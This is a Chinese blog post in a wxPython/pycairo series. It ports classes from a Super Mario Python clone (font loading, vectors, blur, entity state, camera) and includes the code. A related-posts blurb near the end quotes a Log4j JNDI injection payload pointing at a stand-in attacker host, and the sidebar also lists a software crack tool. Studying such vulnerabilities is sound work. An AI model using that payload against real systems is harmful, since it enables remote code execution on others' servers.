wxPython和pycairo练习记录18

Python安装cairo、gtk等问题 上一篇博文关于cairo的安装,使用过程中发现,画图还需要gtk等模块,所以需要继续安装。我安装gtk的过程很是折腾啊,下载了好多版本,不同格式文件,但最终还是安装成功了,哈哈,现把安装过程记录如下:1 .GTK+ runtime首先我们需要安装GTK+ bundle,这里我们选择安装gtk+-bundle_2.24.10-20120208_win32,下载地址 安装步骤: (1)解压。 (2 阅读详情

还是继续找文件依赖少的代码,有些必要的被依赖文件也需要先完成。

Font.py 中 Font 类居然继承 Spritesheet 类来加载字符对应图片,还和 Sprites 类的功能差不多,总感觉哪里不太对。https://github.com/mx0c/super-mario-python/blob/5623213c2eb001d8dabd95eb7035d7545e86ccf6/classes/Font.py

Math.py 中写了名为二维向量的类,但只是简单记录了坐标。

Tile.py 只是画红色边框矩形,实际用途未知。

GaussianBlur.py 高斯模糊,其视觉效果就像是经过一个毛玻璃在观察图像。来源:https://baike.baidu.com/item/%E9%AB%98%E6%96%AF%E6%A8%A1%E7%B3%8A/10885810 。wxPython 提供了方便的接口,直接调用 wx.Image.Blur 方法即可实现。

entities 目录中 EntityBase.py 主要实现了实体的状态的记录和更新。几个状态走跳跑都在 traits 目录单独创建了类,每个类方法还都不一样,这是丐版有限状态机吧。

Camera.py 摄像机,这里的功能是记录坐标,跟随实体移动坐标。

类图

基本都没法写测试啊,后面待完成的是声音、鼠标键盘输入、碰撞检测、实体和主要显示类:面板、关卡、菜单、暂停画面。

代码:

# Font.py
from mario.classes.SpriteSheet import SpriteSheet


class Font(SpriteSheet):
    def __init__(self, file_path, size):
        SpriteSheet.__init__(self, filename=file_path)
        self.chars = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~"
        # 字符与字符图片 Sprite 对象组成的键值对
        self.char_sprites = self.load_font()

    def load_font(self):
        font = {}
        row = 0
        column = 0

        for char in self.chars:
            # 字符图片中字符有 16 列
            if column == 16:
                column = 0
                row += 1
            font.update(
                {
                    char: self.image_at(
                        column,
                        row,
                        scale=2,
                        color_key=(0, 0, 0),
                        tile_width=8,
                        tile_height=8
                    )
                }
            )
            column += 1
        return font

# Maths.py
class Vec2D:
    def __init__(self, x=0, y=0):
        self.x = x
        self.y = y

# Tile.py
from cairo import Context


class Tile:
    def __init__(self, sprite, rect):
        self.sprite = sprite
        self.rect = rect

    def draw_rect(self, screen):
        try:
            # 等定义 screen 后再修改
            ctx = Context(screen)
            # 创建矩形路径,只是在 Context 中当前路径添加一个矩形描述,并不会实际绘制
            ctx.rectangle(*self.rect)
            # 设置绘制颜色,后续描边和填充都会用到,rgb 取值 0 到 1
            ctx.set_source_rgb(1, 0, 0)
            # 后续绘制的线条宽度
            ctx.set_line_width(1)
            # 描边,实际绘制矩形
            ctx.stroke()
        except Exception:
            pass

# GaussianBlur.py
import wx
import wx.lib.wxcairo


class GaussianBlur:
    def __init__(self, blur_radius=2):
        self.blur_radius = blur_radius

    def filter(self, original_surface):
        # 将原始 wx.ImageSurface 对象转为 wx.Image 对象
        image = wx.lib.wxcairo.BitmapFromImageSurface(original_surface).ConvertToImage()
        # 调用模糊方法
        blurred_image = image.Blur(self.blur_radius)
        # 转回 Surface
        blurred_surface = wx.lib.wxcairo.ImageSurfaceFromBitmap(blurred_image.ConvertToBitmap())

        return blurred_surface

# EntityBase.py
from wx import Rect
from mario.classes.Maths import Vec2D


class EntityBase(object):
    def __init__(self, x, y, gravity):
        self.vel = Vec2D()
        self.rect = Rect(x * 32, y * 32, 32, 32)  # 标准 tile 尺寸
        self.gravity = gravity  # 重力
        self.traits = None  # 状态
        self.alive = True
        self.active = True
        self.bouncing = False
        self.time_after_death = 5
        self.timer = 0
        self.type = ""
        self.on_ground = False
        self.obey_gravity = True

    def apply_gravity(self):
        # 下落的纵轴量更大,相当于添加了重力加速度
        if self.obey_gravity:
            self.vel.y += self.gravity

    def update_traits(self):
        # 几个状态走跳跑都单独创建了类,每个类方法还都不一样,这是丐版有限状态机吧
        for trait in self.traits.values():
            try:
                trait.update()
            except AttributeError:
                pass

    def get_pos_index(self):
        # 按 32 * 32 尺寸划分网格的索引
        return Vec2D(self.rect.x // 32, self.rect.y // 32)

    def get_pos_index_float(self):
        return Vec2D(self.rect.x / 32.0, self.rect.y / 32.0)

# Camera.py
from mario.classes.Maths import Vec2D


class Camera:
    def __init__(self, pos, entity):
        self.pos = Vec2D(pos.x, pos.y)
        self.entity = entity  # EntityBase 对象
        self.x = self.pos.x * 32
        self.y = self.pos.y * 32

    def move(self):
        # 跟随实体移动
        xpos_float = self.entity.get_pos_index_float().x
        if 10 < xpos_float < 50:
            self.pos.x = -xpos_float + 10
        self.x = self.pos.x * 32
        self.y = self.pos.y * 32

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

相关推荐

wxcairo:从 code.google.compwxcairo 自动导出

开罗 从 code.google.com/p/wxcairo 自动导出 使用 cairo 和 wxWidgets

wxPython和pycairo练习记录12

过年在家刷视频号直播时发现弹幕互动游戏,挺有意思的,刚好诠释了反射的用法。想要自己也做一个弹幕游戏,于是就有了这个基本的需求,先让弹幕滚动显示出来,直播时可以当作小挂件。

SmileBasic的博客 434

Lumerical官方案例、FDTD时域有限差分法仿真学习(十三)——多模干涉耦合器(MMI)

计算通过 1×2 端口多模干涉 (MMI) 耦合器的宽带传输和光损耗。 使用设备 S 参数在 INTERCONNECT 中创建 MMI 的紧凑模型。 它还展示了如何使用 CML 编译器提取这些参数以生成紧凑模型。 一、概述 了解模拟工作流程和关键结果 低损耗光合路器和分路器是基于 Mach-Zehnder 的光调制器的基本组件,并且是集成电路的关键组成部分。通过在输入/输出波导处使用线性锥形确保输入/输出波导的模式与干涉区域之间的

weixin_45719141的博客 1万+

wxPython:调用OCR模块实现图片识别

(读者电脑中应安装有Canopy) 先下载tesseract-ocr模块: 将其安装在Canopy那个盘。 安装了之后,下载代码:pytesser_v0.0.1.zip 将代码解压至......\Canopy\User\Lib\site-packages 然后在Canopy内运行pytesser.py即可。 注意:要将代码中11,237,301,311行的路径修改成读者本机路径。

每天都要进步哦~ 1377

PCB印刷电路缺陷检测实战:从数据集准备到模型训练全流程解析

本文详细解析了PCB缺陷检测从数据集准备到模型训练的全流程。重点介绍了PKU-Market-PCB数据集的特点与下载方法,并提供了数据格式转换、模型选择(如YOLOv8)与训练配置的实战代码。针对PCB小目标检测的难点,文章给出了数据分析和模型优化的具体策略,帮助读者构建高效的缺陷检测系统。

weixin_29065791的博客 547

电磁炉线圈加热仿真全流程:用Ansys Maxwell分析涡流效应与热损耗

本文详细介绍了使用Ansys Maxwell进行电磁炉线圈加热仿真的全流程。通过构建2D轴对称涡流场模型,深入分析了高频下的涡流效应、趋肤效应与热损耗分布,为优化线圈设计、提升加热效率与均匀性提供了量化依据和实用指南。

sss66的博客 969

wxPython和pycairo练习记录6

这次想要实现障碍物。

SmileBasic的博客 330

【Konva】解决图形加入group后无法获取到绝对坐标,以及group内绘制新图形坐标偏移的问题

解决konva绘图开发时“图形加入group后坐标不会变动,无法获取到绝对坐标”的问题

近10年前端开发工作经验,为你分享日常经验所得 1500

wxPython 示例项目指南

wxPython 示例项目指南 本指南将带您深入了解 wxPython-examples 开源项目,该项目由一系列wxPython示例构成,旨在帮助开发者学习如何利用wxPython库创建图形用户界面应用。我们将逐一解析其关键组件:目录结构、启动文件以及潜在的配置文件。 1. 项目目录结构及介绍 该开源项目遵循了清晰的目录结构来组织各个示例应用程序。下面是核心的目录结构概览: wxPython-e...

gitblog_00947的博客 380

IMU自动校准论文与代码实现A Robust and Easy to Implement Method for IMU Calibration without External Equipments

PART1 摘要 低成本的惯性测量单元会受到系统误差的影响,系统误差由标度因子和轴偏差造成,这会降低位置和姿态估计的精度。 本文提出了一种无需任何外部设备的,鲁棒性强,易于实现的IMU校准方法。 该程序基于多放置方案,再估计传感器偏差的同时,为加速度和陀螺仪三轴的尺度和偏差系数。我们的方法只需要用手移动传感器,并将其放置在一组不同的静态位置(姿态)。 论文描述了一个鲁棒的快速校准协议,...

qq_29313679的博客 5308

SAP 错误消息调试之七种武器:让所有的错误消息都能被定位

目录 长生剑 - SAPGUI Where Used List 碧玉刀 - ABAP调试器观察点 霸王枪 - ABAP调试器动态断点 多情环 - ABAP代码静态扫描 孔雀翎 - SAT 离别钩 - ST05 拳头 - 迷之方法??? Jerry在2018年开始用中文在微信公众号平台上写作之前,在SAP官方社区上总共写了639篇英文博客。 其中有一篇写于2013年介绍ABAP调试技巧的博客:

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 2811

wxPython和pycairo练习记录10

一开始考虑不全面,后面写的时候就只有一个心思,烂代码,完成就好。代码创建控件实例是个痛苦的过程,因为做的基本都是重复的事,能用循环的最好写进循环,熟悉控件后推荐用 wxFromBuilder。

SmileBasic的博客 568

传统(经典)粒子群算法(PSO)解决单目标优化问题

智能算法:粒子群算法(particle swarm optimizer)—PSO %原理:(1)种群初始化–N(种群数)–D(个体数)–x(i)(粒子位置)–v(i)(粒子速度) % (2)计算每个粒子的适应度值–而适应度值需要选择适应度函数 % (3)对于每个粒子,使用它的适应度值fit[i]和个体的极值pbest(i)进行比较,如果fit[i]>pbest(i),则pbest(i)=fit[i] % (4)同理,对每个粒子用它的适应值与全局极值进行比较,如果比它大,则

weixin_51631044的博客 1295

wxPython和pycairo练习记录2

因为要实现图像的显示和交互,今天添加两个基础的图像容器类。

SmileBasic的博客 971

用 i18n 驯服标准文案:SAP Fiori elements 的 UI 文本本地化与可替换实践全景

本文系统介绍了SAP Fiori elements应用中UI文本本地化的全面解决方案。从框架层与应用层文本的分类原则出发,详细解析了标准文本替换的四步法:资源准备、键值定位、模型配置和验证部署。文章特别针对不同开发场景,提供了XML、ABAP CDS和CAP CDS三种注解方式的文本覆盖写法示例。同时深入探讨了语言回退机制、表格组件标准键覆盖等关键技术细节,并指出了实际项目中的常见问题与解决方案。通过结合官方文档和社区实践,为开发人员在不破坏框架约定的前提下,实现稳定可靠的UI文本本地化提供了完整指导。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 297

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

wxPython和pycairo练习记录17

按理说素材图片虽然是位图但因为是纯色,手动缩放显示都没问题,不知道为什么会这样,网上解释说是"Cairo 默认使用线性插值算法进行缩放操作,而线性插值会导致图像像素的颜色被平滑地混合,从而造成图像的模糊效果。不要当过程完美主义者,很容易自我攻击。素材中的 characters.gif,用 wx.Image 加载后,调用 GetAlpha 方法发现得到不正确的透明通道值,而且 HasAlpha 得到的结果是 False,因为没有正确解释透明通道数据,RGB 数据也错了,加载后整个图片都变成了粉色。

SmileBasic的博客 897

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

wxWidgets的安装编译、相关配置、问题分析处理

一、介绍部分 (win7 下的 GUI 效果图见 本篇文章的最后部分截图2张) wxWidgets是一个开源的跨平台的C++构架库(framework),它可以提供GUI(图形用户界面)和其它工具。目前的2.x版本支持所有版本的Windows、带GTK+或Motif的Unix和MacOS。相当于大家熟悉的 VC++。 参考介绍: http://www.cnblogs.com/no...

weixin_30319097的博客 662

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

wxPython绘制相关图形

参考链接:http://blog.youkuaiyun.com/tony_wong/article/details/17735999http://blog.youkuaiyun.com/webzhuce/article/details/72598876https://www.yiibai.com/wxpython/wxpython_drawing_api.htmlhttp://blog.sina.com.cn/s/blo...

winycg的博客 2488

Cairo教程

 Cairo教程 (2010-05-01 16:31) 这是翻译的cairo官网上的一篇教程,第一次认真的翻译文章,很多术语都拿捏不准,很多词语也是斟酌再三,即使这样翻译的我还是不满意。但翻译完了激情也没了,只能如此。另外:原文的代码这儿没链接,大家可以到http://cairographics.org/tutorial/去查看。 欢迎转载,但请注明出处(nketc.cublog

u012463389的博客 1万+

Cairo图形库编辑指南——介绍

Cairo图形库编辑指南说明     欢迎来到Cairo图形库编程指南。本指南将会教你学会Cairo2D矢量图形库的基本知识和一些高级用法。大多数例子里,我们会用到GTK+函数库。本指南使用C语言进行编程。2D矢量图形     计算机图形有两种:矢量图形和光栅图形。光栅图形就是组合像素。矢量图形是用几何图元,比如点,线,面或是多边形来表现图形。这些矢量图元是用数学方程式进行精确描述的。这两种绘图方式有各自的优缺点。矢量图形优于光栅图形的地方为:    1.需要的资源更少    2.无级放缩    3.移动,

混沌世界 6408

wxPython开发总结---将Python源代码打包成exe可执行文件

关注公众号“码农帮派”,查看更多系列技术文章: python的源代码要在没有安装/配置Python相关开发环境的电脑上运行,那么就需要使用工具对源代码进行打包,在windows上运行则必须打包成exe可执行文件,现在常用的打包工具有: py2exe,PyInstaller以及cx-Freeze0 PyInstaller打包太慢,过程太长; cx-Freeze可以说飞速打包; p...

天马行空的专栏 1万+

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 377

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 431

[学习笔记]超越超级大循环与原生RTOS:事件驱动架构如何改变嵌入式固件的可扩展性

RTC:事件处理器一旦开始,全部状态迁移、进出动作、输出事件必须全部执行完毕才返回;同一个组件,当前处理没结束,不会开始下一条事件。这不是架构给状态机额外施加的限制,这是UML状态图等全部状态机形式化本身固有的语义要求。如果迁移中途可以被打断,状态机会停留在未定义的中间状态。RTC保证两次事件之间,状态机永远处于明确定义的合法状态,便于分析与测试。

MiKiJT的博客 211

带着小白学习-微服务-6 实战:网关

地址栏输入:http://localhost:8088/goods/index,这时候就不是到8100端口去调用了,而是8088直接通过路由转发,分别到nacos对应的goods对应的服务中区调用。** 可以看出,这里将前面已经正常运行的server-store子工程(库存服务,服务提供方),server-goods子工程(商品服务,服务消费方)。(1)uri: lb://store 代表要到nacos的注册中心的服务列表中找到服务名为store的微服务;,网关是做路由转发,不是服务调用;

wdyan297的博客 219

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 212
上一篇: wxPython和pycairo练习记录17
下一篇: wxPython和pycairo练习记录19
SmileBasic
博客等级 码龄5年 347粉丝 32原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值